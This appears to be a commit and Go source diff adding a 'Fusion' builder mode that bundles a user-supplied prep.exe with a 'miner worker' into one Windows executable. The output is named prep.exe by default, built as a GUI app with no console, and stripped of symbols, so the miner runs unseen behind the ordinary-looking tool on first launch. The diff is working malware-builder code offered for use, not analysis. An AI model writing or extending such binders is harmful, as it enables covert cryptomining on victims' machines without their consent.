Add Fusion builder mode to bundle prep.exe with worker.

Upload prep.exe in the Builder to produce a single fused output that runs your prep tool and embeds the miner worker on first launch.

server/internal/builder/fusion.go

@@ -0,0 +1,82 @@
+package builder
+
+import (
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+)
+
+func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
+	if prepPath == "" {
+		return "", fmt.Errorf("fusion requires prep.exe")
+	}
+	if _, err := os.Stat(prepPath); err != nil {
+		return "", fmt.Errorf("prep.exe not found: %w", err)
+	}
+	if _, err := os.Stat(workerPath); err != nil {
+		return "", fmt.Errorf("worker binary not found: %w", err)
+	}
+
+	fusionSrc := filepath.Join(h.projectRoot, "fusion")
+	if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
+		return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
+	}
+
+	fusionDir := filepath.Join(buildDir, "fusion")
+	assetsDir := filepath.Join(fusionDir, "assets")
+	if err := os.MkdirAll(assetsDir, 0755); err != nil {
+		return "", err
+	}
+
+	mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
+	if err != nil {
+		return "", err
+	}
+	order := normalizeFusionOrder(runOrder)
+	mainOut := strings.Replace(string(mainSrc), `const runOrder = "FUSION_RUN_ORDER"`, fmt.Sprintf(`const runOrder = %q`, order), 1)
+	if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), []byte(mainOut), 0644); err != nil {
+		return "", err
+	}
+
+	if err := copyFile(filepath.Join(fusionSrc, "go.mod"), filepath.Join(fusionDir, "go.mod")); err != nil {
+		return "", err
+	}
+	if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
+		return "", err
+	}
+	if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
+		return "", err
+	}
+
+	if outputName == "" {
+		outputName = "prep.exe"
+	}
+	if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
+		outputName += ".exe"
+	}
+	outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
+
+	cmd := exec.Command(h.goBinPath, "build", "-ldflags", "-s -w -trimpath -H windowsgui", "-o", outputPath, ".")
+	cmd.Dir = fusionDir
+	cmd.Env = append(os.Environ(),
+		"GOOS=windows",
+		"GOARCH=amd64",
+		"CGO_ENABLED=0",
+	)
+	out, err := cmd.CombinedOutput()
+	if err != nil {
+		return "", fmt.Errorf("fusion build failed: %s", strings.TrimSpace(string(out)))
+	}
+	return outputPath, nil
+}
+
+func normalizeFusionOrder(order string) string {
+	switch strings.ToLower(strings.TrimSpace(order)) {
+	case "prep_first", "worker_first", "parallel":
+		return strings.ToLower(strings.TrimSpace(order))
+	default:
+		return "parallel"
+	}
+}